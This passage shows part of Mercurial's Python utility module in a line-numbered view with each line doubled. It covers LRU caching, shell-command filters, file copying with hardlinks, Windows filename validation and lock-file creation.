1183 The new node is inserted before the head node.
1184 """
1184 """
1185 head = self._head
1185 head = self._head
1186 node = _lrucachenode()
1186 node = _lrucachenode()
1187 head.prev.next = node
1187 head.prev.next = node
1188 node.prev = head.prev
1188 node.prev = head.prev
1189 node.next = head
1189 node.next = head
1190 head.prev = node
1190 head.prev = node
1191 self._size += 1
1191 self._size += 1
1192 return node
1192 return node
1193
1193
1194 def lrucachefunc(func):
1194 def lrucachefunc(func):
1195 '''cache most recent results of function calls'''
1195 '''cache most recent results of function calls'''
1196 cache = {}
1196 cache = {}
1197 order = collections.deque()
1197 order = collections.deque()
1198 if func.__code__.co_argcount == 1:
1198 if func.__code__.co_argcount == 1:
1199 def f(arg):
1199 def f(arg):
1200 if arg not in cache:
1200 if arg not in cache:
1201 if len(cache) > 20:
1201 if len(cache) > 20:
1202 del cache[order.popleft()]
1202 del cache[order.popleft()]
1203 cache[arg] = func(arg)
1203 cache[arg] = func(arg)
1204 else:
1204 else:
1205 order.remove(arg)
1205 order.remove(arg)
1206 order.append(arg)
1206 order.append(arg)
1207 return cache[arg]
1207 return cache[arg]
1208 else:
1208 else:
1209 def f(*args):
1209 def f(*args):
1210 if args not in cache:
1210 if args not in cache:
1211 if len(cache) > 20:
1211 if len(cache) > 20:
1212 del cache[order.popleft()]
1212 del cache[order.popleft()]
1213 cache[args] = func(*args)
1213 cache[args] = func(*args)
1214 else:
1214 else:
1215 order.remove(args)
1215 order.remove(args)
1216 order.append(args)
1216 order.append(args)
1217 return cache[args]
1217 return cache[args]
1218
1218
1219 return f
1219 return f
1220
1220
1221 class propertycache(object):
1221 class propertycache(object):
1222 def __init__(self, func):
1222 def __init__(self, func):
1223 self.func = func
1223 self.func = func
1224 self.name = func.__name__
1224 self.name = func.__name__
1225 def __get__(self, obj, type=None):
1225 def __get__(self, obj, type=None):
1226 result = self.func(obj)
1226 result = self.func(obj)
1227 self.cachevalue(obj, result)
1227 self.cachevalue(obj, result)
1228 return result
1228 return result
1229
1229
1230 def cachevalue(self, obj, value):
1230 def cachevalue(self, obj, value):
1231 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1231 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1232 obj.__dict__[self.name] = value
1232 obj.__dict__[self.name] = value
1233
1233
1234 def clearcachedproperty(obj, prop):
1234 def clearcachedproperty(obj, prop):
1235 '''clear a cached property value, if one has been set'''
1235 '''clear a cached property value, if one has been set'''
1236 if prop in obj.__dict__:
1236 if prop in obj.__dict__:
1237 del obj.__dict__[prop]
1237 del obj.__dict__[prop]
1238
1238
1239 def pipefilter(s, cmd):
1239 def pipefilter(s, cmd):
1240 '''filter string S through command CMD, returning its output'''
1240 '''filter string S through command CMD, returning its output'''
1241 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1241 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1242 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1242 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1243 pout, perr = p.communicate(s)
1243 pout, perr = p.communicate(s)
1244 return pout
1244 return pout
1245
1245
1246 def tempfilter(s, cmd):
1246 def tempfilter(s, cmd):
1247 '''filter string S through a pair of temporary files with CMD.
1247 '''filter string S through a pair of temporary files with CMD.
1248 CMD is used as a template to create the real command to be run,
1248 CMD is used as a template to create the real command to be run,
1249 with the strings INFILE and OUTFILE replaced by the real names of
1249 with the strings INFILE and OUTFILE replaced by the real names of
1250 the temporary files generated.'''
1250 the temporary files generated.'''
1251 inname, outname = None, None
1251 inname, outname = None, None
1252 try:
1252 try:
1253 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1253 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1254 fp = os.fdopen(infd, r'wb')
1254 fp = os.fdopen(infd, r'wb')
1255 fp.write(s)
1255 fp.write(s)
1256 fp.close()
1256 fp.close()
1257 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1257 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1258 os.close(outfd)
1258 os.close(outfd)
1259 cmd = cmd.replace('INFILE', inname)
1259 cmd = cmd.replace('INFILE', inname)
1260 cmd = cmd.replace('OUTFILE', outname)
1260 cmd = cmd.replace('OUTFILE', outname)
1261 code = os.system(cmd)
1261 code = os.system(cmd)
1262 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1262 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1263 code = 0
1263 code = 0
1264 if code:
1264 if code:
1265 raise Abort(_("command '%s' failed: %s") %
1265 raise Abort(_("command '%s' failed: %s") %
1266 (cmd, explainexit(code)))
1266 (cmd, explainexit(code)))
1267 return readfile(outname)
1267 return readfile(outname)
1268 finally:
1268 finally:
1269 try:
1269 try:
1270 if inname:
1270 if inname:
1271 os.unlink(inname)
1271 os.unlink(inname)
1272 except OSError:
1272 except OSError:
1273 pass
1273 pass
1274 try:
1274 try:
1275 if outname:
1275 if outname:
1276 os.unlink(outname)
1276 os.unlink(outname)
1277 except OSError:
1277 except OSError:
1278 pass
1278 pass
1279
1279
1280 filtertable = {
1280 filtertable = {
1281 'tempfile:': tempfilter,
1281 'tempfile:': tempfilter,
1282 'pipe:': pipefilter,
1282 'pipe:': pipefilter,
1283 }
1283 }
1284
1284
1285 def filter(s, cmd):
1285 def filter(s, cmd):
1286 "filter a string through a command that transforms its input to its output"
1286 "filter a string through a command that transforms its input to its output"
1287 for name, fn in filtertable.iteritems():
1287 for name, fn in filtertable.iteritems():
1288 if cmd.startswith(name):
1288 if cmd.startswith(name):
1289 return fn(s, cmd[len(name):].lstrip())
1289 return fn(s, cmd[len(name):].lstrip())
1290 return pipefilter(s, cmd)
1290 return pipefilter(s, cmd)
1291
1291
1292 def binary(s):
1292 def binary(s):
1293 """return true if a string is binary data"""
1293 """return true if a string is binary data"""
1294 return bool(s and '\0' in s)
1294 return bool(s and '\0' in s)
1295
1295
1296 def increasingchunks(source, min=1024, max=65536):
1296 def increasingchunks(source, min=1024, max=65536):
1297 '''return no less than min bytes per chunk while data remains,
1297 '''return no less than min bytes per chunk while data remains,
1298 doubling min after each chunk until it reaches max'''
1298 doubling min after each chunk until it reaches max'''
1299 def log2(x):
1299 def log2(x):
1300 if not x:
1300 if not x:
1301 return 0
1301 return 0
1302 i = 0
1302 i = 0
1303 while x:
1303 while x:
1304 x >>= 1
1304 x >>= 1
1305 i += 1
1305 i += 1
1306 return i - 1
1306 return i - 1
1307
1307
1308 buf = []
1308 buf = []
1309 blen = 0
1309 blen = 0
1310 for chunk in source:
1310 for chunk in source:
1311 buf.append(chunk)
1311 buf.append(chunk)
1312 blen += len(chunk)
1312 blen += len(chunk)
1313 if blen >= min:
1313 if blen >= min:
1314 if min < max:
1314 if min < max:
1315 min = min << 1
1315 min = min << 1
1316 nmin = 1 << log2(blen)
1316 nmin = 1 << log2(blen)
1317 if nmin > min:
1317 if nmin > min:
1318 min = nmin
1318 min = nmin
1319 if min > max:
1319 if min > max:
1320 min = max
1320 min = max
1321 yield ''.join(buf)
1321 yield ''.join(buf)
1322 blen = 0
1322 blen = 0
1323 buf = []
1323 buf = []
1324 if buf:
1324 if buf:
1325 yield ''.join(buf)
1325 yield ''.join(buf)
1326
1326
1327 Abort = error.Abort
1327 Abort = error.Abort
1328
1328
1329 def always(fn):
1329 def always(fn):
1330 return True
1330 return True
1331
1331
1332 def never(fn):
1332 def never(fn):
1333 return False
1333 return False
1334
1334
1335 def nogc(func):
1335 def nogc(func):
1336 """disable garbage collector
1336 """disable garbage collector
1337
1337
1338 Python's garbage collector triggers a GC each time a certain number of
1338 Python's garbage collector triggers a GC each time a certain number of
1339 container objects (the number being defined by gc.get_threshold()) are
1339 container objects (the number being defined by gc.get_threshold()) are
1340 allocated even when marked not to be tracked by the collector. Tracking has
1340 allocated even when marked not to be tracked by the collector. Tracking has
1341 no effect on when GCs are triggered, only on what objects the GC looks
1341 no effect on when GCs are triggered, only on what objects the GC looks
1342 into. As a workaround, disable GC while building complex (huge)
1342 into. As a workaround, disable GC while building complex (huge)
1343 containers.
1343 containers.
1344
1344
1345 This garbage collector issue have been fixed in 2.7. But it still affect
1345 This garbage collector issue have been fixed in 2.7. But it still affect
1346 CPython's performance.
1346 CPython's performance.
1347 """
1347 """
1348 def wrapper(*args, **kwargs):
1348 def wrapper(*args, **kwargs):
1349 gcenabled = gc.isenabled()
1349 gcenabled = gc.isenabled()
1350 gc.disable()
1350 gc.disable()
1351 try:
1351 try:
1352 return func(*args, **kwargs)
1352 return func(*args, **kwargs)
1353 finally:
1353 finally:
1354 if gcenabled:
1354 if gcenabled:
1355 gc.enable()
1355 gc.enable()
1356 return wrapper
1356 return wrapper
1357
1357
1358 if pycompat.ispypy:
1358 if pycompat.ispypy:
1359 # PyPy runs slower with gc disabled
1359 # PyPy runs slower with gc disabled
1360 nogc = lambda x: x
1360 nogc = lambda x: x
1361
1361
1362 def pathto(root, n1, n2):
1362 def pathto(root, n1, n2):
1363 '''return the relative path from one place to another.
1363 '''return the relative path from one place to another.
1364 root should use os.sep to separate directories
1364 root should use os.sep to separate directories
1365 n1 should use os.sep to separate directories
1365 n1 should use os.sep to separate directories
1366 n2 should use "/" to separate directories
1366 n2 should use "/" to separate directories
1367 returns an os.sep-separated path.
1367 returns an os.sep-separated path.
1368
1368
1369 If n1 is a relative path, it's assumed it's
1369 If n1 is a relative path, it's assumed it's
1370 relative to root.
1370 relative to root.
1371 n2 should always be relative to root.
1371 n2 should always be relative to root.
1372 '''
1372 '''
1373 if not n1:
1373 if not n1:
1374 return localpath(n2)
1374 return localpath(n2)
1375 if os.path.isabs(n1):
1375 if os.path.isabs(n1):
1376 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1376 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1377 return os.path.join(root, localpath(n2))
1377 return os.path.join(root, localpath(n2))
1378 n2 = '/'.join((pconvert(root), n2))
1378 n2 = '/'.join((pconvert(root), n2))
1379 a, b = splitpath(n1), n2.split('/')
1379 a, b = splitpath(n1), n2.split('/')
1380 a.reverse()
1380 a.reverse()
1381 b.reverse()
1381 b.reverse()
1382 while a and b and a[-1] == b[-1]:
1382 while a and b and a[-1] == b[-1]:
1383 a.pop()
1383 a.pop()
1384 b.pop()
1384 b.pop()
1385 b.reverse()
1385 b.reverse()
1386 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1386 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1387
1387
1388 def mainfrozen():
1388 def mainfrozen():
1389 """return True if we are a frozen executable.
1389 """return True if we are a frozen executable.
1390
1390
1391 The code supports py2exe (most common, Windows only) and tools/freeze
1391 The code supports py2exe (most common, Windows only) and tools/freeze
1392 (portable, not much used).
1392 (portable, not much used).
1393 """
1393 """
1394 return (safehasattr(sys, "frozen") or # new py2exe
1394 return (safehasattr(sys, "frozen") or # new py2exe
1395 safehasattr(sys, "importers") or # old py2exe
1395 safehasattr(sys, "importers") or # old py2exe
1396 imp.is_frozen(u"__main__")) # tools/freeze
1396 imp.is_frozen(u"__main__")) # tools/freeze
1397
1397
1398 # the location of data files matching the source code
1398 # the location of data files matching the source code
1399 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1399 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1400 # executable version (py2exe) doesn't support __file__
1400 # executable version (py2exe) doesn't support __file__
1401 datapath = os.path.dirname(pycompat.sysexecutable)
1401 datapath = os.path.dirname(pycompat.sysexecutable)
1402 else:
1402 else:
1403 datapath = os.path.dirname(pycompat.fsencode(__file__))
1403 datapath = os.path.dirname(pycompat.fsencode(__file__))
1404
1404
1405 i18n.setdatapath(datapath)
1405 i18n.setdatapath(datapath)
1406
1406
1407 _hgexecutable = None
1407 _hgexecutable = None
1408
1408
1409 def hgexecutable():
1409 def hgexecutable():
1410 """return location of the 'hg' executable.
1410 """return location of the 'hg' executable.
1411
1411
1412 Defaults to $HG or 'hg' in the search path.
1412 Defaults to $HG or 'hg' in the search path.
1413 """
1413 """
1414 if _hgexecutable is None:
1414 if _hgexecutable is None:
1415 hg = encoding.environ.get('HG')
1415 hg = encoding.environ.get('HG')
1416 mainmod = sys.modules[r'__main__']
1416 mainmod = sys.modules[r'__main__']
1417 if hg:
1417 if hg:
1418 _sethgexecutable(hg)
1418 _sethgexecutable(hg)
1419 elif mainfrozen():
1419 elif mainfrozen():
1420 if getattr(sys, 'frozen', None) == 'macosx_app':
1420 if getattr(sys, 'frozen', None) == 'macosx_app':
1421 # Env variable set by py2app
1421 # Env variable set by py2app
1422 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1422 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1423 else:
1423 else:
1424 _sethgexecutable(pycompat.sysexecutable)
1424 _sethgexecutable(pycompat.sysexecutable)
1425 elif (os.path.basename(
1425 elif (os.path.basename(
1426 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1426 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1427 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1427 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1428 else:
1428 else:
1429 exe = findexe('hg') or os.path.basename(sys.argv[0])
1429 exe = findexe('hg') or os.path.basename(sys.argv[0])
1430 _sethgexecutable(exe)
1430 _sethgexecutable(exe)
1431 return _hgexecutable
1431 return _hgexecutable
1432
1432
1433 def _sethgexecutable(path):
1433 def _sethgexecutable(path):
1434 """set location of the 'hg' executable"""
1434 """set location of the 'hg' executable"""
1435 global _hgexecutable
1435 global _hgexecutable
1436 _hgexecutable = path
1436 _hgexecutable = path
1437
1437
1438 def _testfileno(f, stdf):
1438 def _testfileno(f, stdf):
1439 fileno = getattr(f, 'fileno', None)
1439 fileno = getattr(f, 'fileno', None)
1440 try:
1440 try:
1441 return fileno and fileno() == stdf.fileno()
1441 return fileno and fileno() == stdf.fileno()
1442 except io.UnsupportedOperation:
1442 except io.UnsupportedOperation:
1443 return False # fileno() raised UnsupportedOperation
1443 return False # fileno() raised UnsupportedOperation
1444
1444
1445 def isstdin(f):
1445 def isstdin(f):
1446 return _testfileno(f, sys.__stdin__)
1446 return _testfileno(f, sys.__stdin__)
1447
1447
1448 def isstdout(f):
1448 def isstdout(f):
1449 return _testfileno(f, sys.__stdout__)
1449 return _testfileno(f, sys.__stdout__)
1450
1450
1451 def shellenviron(environ=None):
1451 def shellenviron(environ=None):
1452 """return environ with optional override, useful for shelling out"""
1452 """return environ with optional override, useful for shelling out"""
1453 def py2shell(val):
1453 def py2shell(val):
1454 'convert python object into string that is useful to shell'
1454 'convert python object into string that is useful to shell'
1455 if val is None or val is False:
1455 if val is None or val is False:
1456 return '0'
1456 return '0'
1457 if val is True:
1457 if val is True:
1458 return '1'
1458 return '1'
1459 return pycompat.bytestr(val)
1459 return pycompat.bytestr(val)
1460 env = dict(encoding.environ)
1460 env = dict(encoding.environ)
1461 if environ:
1461 if environ:
1462 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1462 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1463 env['HG'] = hgexecutable()
1463 env['HG'] = hgexecutable()
1464 return env
1464 return env
1465
1465
1466 def system(cmd, environ=None, cwd=None, out=None):
1466 def system(cmd, environ=None, cwd=None, out=None):
1467 '''enhanced shell command execution.
1467 '''enhanced shell command execution.
1468 run with environment maybe modified, maybe in different dir.
1468 run with environment maybe modified, maybe in different dir.
1469
1469
1470 if out is specified, it is assumed to be a file-like object that has a
1470 if out is specified, it is assumed to be a file-like object that has a
1471 write() method. stdout and stderr will be redirected to out.'''
1471 write() method. stdout and stderr will be redirected to out.'''
1472 try:
1472 try:
1473 stdout.flush()
1473 stdout.flush()
1474 except Exception:
1474 except Exception:
1475 pass
1475 pass
1476 cmd = quotecommand(cmd)
1476 cmd = quotecommand(cmd)
1477 env = shellenviron(environ)
1477 env = shellenviron(environ)
1478 if out is None or isstdout(out):
1478 if out is None or isstdout(out):
1479 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1479 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1480 env=env, cwd=cwd)
1480 env=env, cwd=cwd)
1481 else:
1481 else:
1482 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1482 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1483 env=env, cwd=cwd, stdout=subprocess.PIPE,
1483 env=env, cwd=cwd, stdout=subprocess.PIPE,
1484 stderr=subprocess.STDOUT)
1484 stderr=subprocess.STDOUT)
1485 for line in iter(proc.stdout.readline, ''):
1485 for line in iter(proc.stdout.readline, ''):
1486 out.write(line)
1486 out.write(line)
1487 proc.wait()
1487 proc.wait()
1488 rc = proc.returncode
1488 rc = proc.returncode
1489 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1489 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1490 rc = 0
1490 rc = 0
1491 return rc
1491 return rc
1492
1492
1493 def checksignature(func):
1493 def checksignature(func):
1494 '''wrap a function with code to check for calling errors'''
1494 '''wrap a function with code to check for calling errors'''
1495 def check(*args, **kwargs):
1495 def check(*args, **kwargs):
1496 try:
1496 try:
1497 return func(*args, **kwargs)
1497 return func(*args, **kwargs)
1498 except TypeError:
1498 except TypeError:
1499 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1499 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1500 raise error.SignatureError
1500 raise error.SignatureError
1501 raise
1501 raise
1502
1502
1503 return check
1503 return check
1504
1504
1505 # a whilelist of known filesystems where hardlink works reliably
1505 # a whilelist of known filesystems where hardlink works reliably
1506 _hardlinkfswhitelist = {
1506 _hardlinkfswhitelist = {
1507 'btrfs',
1507 'btrfs',
1508 'ext2',
1508 'ext2',
1509 'ext3',
1509 'ext3',
1510 'ext4',
1510 'ext4',
1511 'hfs',
1511 'hfs',
1512 'jfs',
1512 'jfs',
1513 'NTFS',
1513 'NTFS',
1514 'reiserfs',
1514 'reiserfs',
1515 'tmpfs',
1515 'tmpfs',
1516 'ufs',
1516 'ufs',
1517 'xfs',
1517 'xfs',
1518 'zfs',
1518 'zfs',
1519 }
1519 }
1520
1520
1521 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1521 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1522 '''copy a file, preserving mode and optionally other stat info like
1522 '''copy a file, preserving mode and optionally other stat info like
1523 atime/mtime
1523 atime/mtime
1524
1524
1525 checkambig argument is used with filestat, and is useful only if
1525 checkambig argument is used with filestat, and is useful only if
1526 destination file is guarded by any lock (e.g. repo.lock or
1526 destination file is guarded by any lock (e.g. repo.lock or
1527 repo.wlock).
1527 repo.wlock).
1528
1528
1529 copystat and checkambig should be exclusive.
1529 copystat and checkambig should be exclusive.
1530 '''
1530 '''
1531 assert not (copystat and checkambig)
1531 assert not (copystat and checkambig)
1532 oldstat = None
1532 oldstat = None
1533 if os.path.lexists(dest):
1533 if os.path.lexists(dest):
1534 if checkambig:
1534 if checkambig:
1535 oldstat = checkambig and filestat.frompath(dest)
1535 oldstat = checkambig and filestat.frompath(dest)
1536 unlink(dest)
1536 unlink(dest)
1537 if hardlink:
1537 if hardlink:
1538 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1538 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1539 # unless we are confident that dest is on a whitelisted filesystem.
1539 # unless we are confident that dest is on a whitelisted filesystem.
1540 try:
1540 try:
1541 fstype = getfstype(os.path.dirname(dest))
1541 fstype = getfstype(os.path.dirname(dest))
1542 except OSError:
1542 except OSError:
1543 fstype = None
1543 fstype = None
1544 if fstype not in _hardlinkfswhitelist:
1544 if fstype not in _hardlinkfswhitelist:
1545 hardlink = False
1545 hardlink = False
1546 if hardlink:
1546 if hardlink:
1547 try:
1547 try:
1548 oslink(src, dest)
1548 oslink(src, dest)
1549 return
1549 return
1550 except (IOError, OSError):
1550 except (IOError, OSError):
1551 pass # fall back to normal copy
1551 pass # fall back to normal copy
1552 if os.path.islink(src):
1552 if os.path.islink(src):
1553 os.symlink(os.readlink(src), dest)
1553 os.symlink(os.readlink(src), dest)
1554 # copytime is ignored for symlinks, but in general copytime isn't needed
1554 # copytime is ignored for symlinks, but in general copytime isn't needed
1555 # for them anyway
1555 # for them anyway
1556 else:
1556 else:
1557 try:
1557 try:
1558 shutil.copyfile(src, dest)
1558 shutil.copyfile(src, dest)
1559 if copystat:
1559 if copystat:
1560 # copystat also copies mode
1560 # copystat also copies mode
1561 shutil.copystat(src, dest)
1561 shutil.copystat(src, dest)
1562 else:
1562 else:
1563 shutil.copymode(src, dest)
1563 shutil.copymode(src, dest)
1564 if oldstat and oldstat.stat:
1564 if oldstat and oldstat.stat:
1565 newstat = filestat.frompath(dest)
1565 newstat = filestat.frompath(dest)
1566 if newstat.isambig(oldstat):
1566 if newstat.isambig(oldstat):
1567 # stat of copied file is ambiguous to original one
1567 # stat of copied file is ambiguous to original one
1568 advanced = (
1568 advanced = (
1569 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1569 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1570 os.utime(dest, (advanced, advanced))
1570 os.utime(dest, (advanced, advanced))
1571 except shutil.Error as inst:
1571 except shutil.Error as inst:
1572 raise Abort(str(inst))
1572 raise Abort(str(inst))
1573
1573
1574 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1574 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1575 """Copy a directory tree using hardlinks if possible."""
1575 """Copy a directory tree using hardlinks if possible."""
1576 num = 0
1576 num = 0
1577
1577
1578 gettopic = lambda: hardlink and _('linking') or _('copying')
1578 gettopic = lambda: hardlink and _('linking') or _('copying')
1579
1579
1580 if os.path.isdir(src):
1580 if os.path.isdir(src):
1581 if hardlink is None:
1581 if hardlink is None:
1582 hardlink = (os.stat(src).st_dev ==
1582 hardlink = (os.stat(src).st_dev ==
1583 os.stat(os.path.dirname(dst)).st_dev)
1583 os.stat(os.path.dirname(dst)).st_dev)
1584 topic = gettopic()
1584 topic = gettopic()
1585 os.mkdir(dst)
1585 os.mkdir(dst)
1586 for name, kind in listdir(src):
1586 for name, kind in listdir(src):
1587 srcname = os.path.join(src, name)
1587 srcname = os.path.join(src, name)
1588 dstname = os.path.join(dst, name)
1588 dstname = os.path.join(dst, name)
1589 def nprog(t, pos):
1589 def nprog(t, pos):
1590 if pos is not None:
1590 if pos is not None:
1591 return progress(t, pos + num)
1591 return progress(t, pos + num)
1592 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1592 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1593 num += n
1593 num += n
1594 else:
1594 else:
1595 if hardlink is None:
1595 if hardlink is None:
1596 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1596 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1597 os.stat(os.path.dirname(dst)).st_dev)
1597 os.stat(os.path.dirname(dst)).st_dev)
1598 topic = gettopic()
1598 topic = gettopic()
1599
1599
1600 if hardlink:
1600 if hardlink:
1601 try:
1601 try:
1602 oslink(src, dst)
1602 oslink(src, dst)
1603 except (IOError, OSError):
1603 except (IOError, OSError):
1604 hardlink = False
1604 hardlink = False
1605 shutil.copy(src, dst)
1605 shutil.copy(src, dst)
1606 else:
1606 else:
1607 shutil.copy(src, dst)
1607 shutil.copy(src, dst)
1608 num += 1
1608 num += 1
1609 progress(topic, num)
1609 progress(topic, num)
1610 progress(topic, None)
1610 progress(topic, None)
1611
1611
1612 return hardlink, num
1612 return hardlink, num
1613
1613
1614 _winreservednames = {
1614 _winreservednames = {
1615 'con', 'prn', 'aux', 'nul',
1615 'con', 'prn', 'aux', 'nul',
1616 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1616 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1617 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1617 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1618 }
1618 }
1619 _winreservedchars = ':*?"<>|'
1619 _winreservedchars = ':*?"<>|'
1620 def checkwinfilename(path):
1620 def checkwinfilename(path):
1621 r'''Check that the base-relative path is a valid filename on Windows.
1621 r'''Check that the base-relative path is a valid filename on Windows.
1622 Returns None if the path is ok, or a UI string describing the problem.
1622 Returns None if the path is ok, or a UI string describing the problem.
1623
1623
1624 >>> checkwinfilename(b"just/a/normal/path")
1624 >>> checkwinfilename(b"just/a/normal/path")
1625 >>> checkwinfilename(b"foo/bar/con.xml")
1625 >>> checkwinfilename(b"foo/bar/con.xml")
1626 "filename contains 'con', which is reserved on Windows"
1626 "filename contains 'con', which is reserved on Windows"
1627 >>> checkwinfilename(b"foo/con.xml/bar")
1627 >>> checkwinfilename(b"foo/con.xml/bar")
1628 "filename contains 'con', which is reserved on Windows"
1628 "filename contains 'con', which is reserved on Windows"
1629 >>> checkwinfilename(b"foo/bar/xml.con")
1629 >>> checkwinfilename(b"foo/bar/xml.con")
1630 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1630 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1631 "filename contains 'AUX', which is reserved on Windows"
1631 "filename contains 'AUX', which is reserved on Windows"
1632 >>> checkwinfilename(b"foo/bar/bla:.txt")
1632 >>> checkwinfilename(b"foo/bar/bla:.txt")
1633 "filename contains ':', which is reserved on Windows"
1633 "filename contains ':', which is reserved on Windows"
1634 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1634 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1635 "filename contains '\\x07', which is invalid on Windows"
1635 "filename contains '\\x07', which is invalid on Windows"
1636 >>> checkwinfilename(b"foo/bar/bla ")
1636 >>> checkwinfilename(b"foo/bar/bla ")
1637 "filename ends with ' ', which is not allowed on Windows"
1637 "filename ends with ' ', which is not allowed on Windows"
1638 >>> checkwinfilename(b"../bar")
1638 >>> checkwinfilename(b"../bar")
1639 >>> checkwinfilename(b"foo\\")
1639 >>> checkwinfilename(b"foo\\")
1640 "filename ends with '\\', which is invalid on Windows"
1640 "filename ends with '\\', which is invalid on Windows"
1641 >>> checkwinfilename(b"foo\\/bar")
1641 >>> checkwinfilename(b"foo\\/bar")
1642 "directory name ends with '\\', which is invalid on Windows"
1642 "directory name ends with '\\', which is invalid on Windows"
1643 '''
1643 '''
1644 if path.endswith('\\'):
1644 if path.endswith('\\'):
1645 return _("filename ends with '\\', which is invalid on Windows")
1645 return _("filename ends with '\\', which is invalid on Windows")
1646 if '\\/' in path:
1646 if '\\/' in path:
1647 return _("directory name ends with '\\', which is invalid on Windows")
1647 return _("directory name ends with '\\', which is invalid on Windows")
1648 for n in path.replace('\\', '/').split('/'):
1648 for n in path.replace('\\', '/').split('/'):
1649 if not n:
1649 if not n:
1650 continue
1650 continue
1651 for c in _filenamebytestr(n):
1651 for c in _filenamebytestr(n):
1652 if c in _winreservedchars:
1652 if c in _winreservedchars:
1653 return _("filename contains '%s', which is reserved "
1653 return _("filename contains '%s', which is reserved "
1654 "on Windows") % c
1654 "on Windows") % c
1655 if ord(c) <= 31:
1655 if ord(c) <= 31:
1656 return _("filename contains '%s', which is invalid "
1656 return _("filename contains '%s', which is invalid "
1657 "on Windows") % escapestr(c)
1657 "on Windows") % escapestr(c)
1658 base = n.split('.')[0]
1658 base = n.split('.')[0]
1659 if base and base.lower() in _winreservednames:
1659 if base and base.lower() in _winreservednames:
1660 return _("filename contains '%s', which is reserved "
1660 return _("filename contains '%s', which is reserved "
1661 "on Windows") % base
1661 "on Windows") % base
1662 t = n[-1:]
1662 t = n[-1:]
1663 if t in '. ' and n not in '..':
1663 if t in '. ' and n not in '..':
1664 return _("filename ends with '%s', which is not allowed "
1664 return _("filename ends with '%s', which is not allowed "
1665 "on Windows") % t
1665 "on Windows") % t
1666
1666
1667 if pycompat.iswindows:
1667 if pycompat.iswindows:
1668 checkosfilename = checkwinfilename
1668 checkosfilename = checkwinfilename
1669 timer = time.clock
1669 timer = time.clock
1670 else:
1670 else:
1671 checkosfilename = platform.checkosfilename
1671 checkosfilename = platform.checkosfilename
1672 timer = time.time
1672 timer = time.time
1673
1673
1674 if safehasattr(time, "perf_counter"):
1674 if safehasattr(time, "perf_counter"):
1675 timer = time.perf_counter
1675 timer = time.perf_counter
1676
1676
1677 def makelock(info, pathname):
1677 def makelock(info, pathname):
1678 """Create a lock file atomically if possible
1678 """Create a lock file atomically if possible
1679
1679
1680 This may leave a stale lock file if symlink isn't supported and signal
1680 This may leave a stale lock file if symlink isn't supported and signal
1681 interrupt is enabled.
1681 interrupt is enabled.
1682 """
1682 """
1683 try:
1683 try:
1684 return os.symlink(info, pathname)
1684 return os.symlink(info, pathname)
1685 except OSError as why:
1685 except OSError as why:
1686 if why.errno == errno.EEXIST:
1686 if why.errno == errno.EEXIST:
1687 raise
1687 raise
1688 except AttributeError: # no symlink in os
1688 except AttributeError: # no symlink in os
1689 pass
1689 pass
1690
1690
1691 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1691 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1692 ld = os.open(pathname, flags)
1692 ld = os.open(pathname, flags)
1693 os.write(ld, info)
1693 os.write(ld, info)
1694 os.close(ld)
1694 os.close(ld)
1695
1695
1696 def readlock(pathname):
1696 def readlock(pathname):
1697 try:
1697 try:
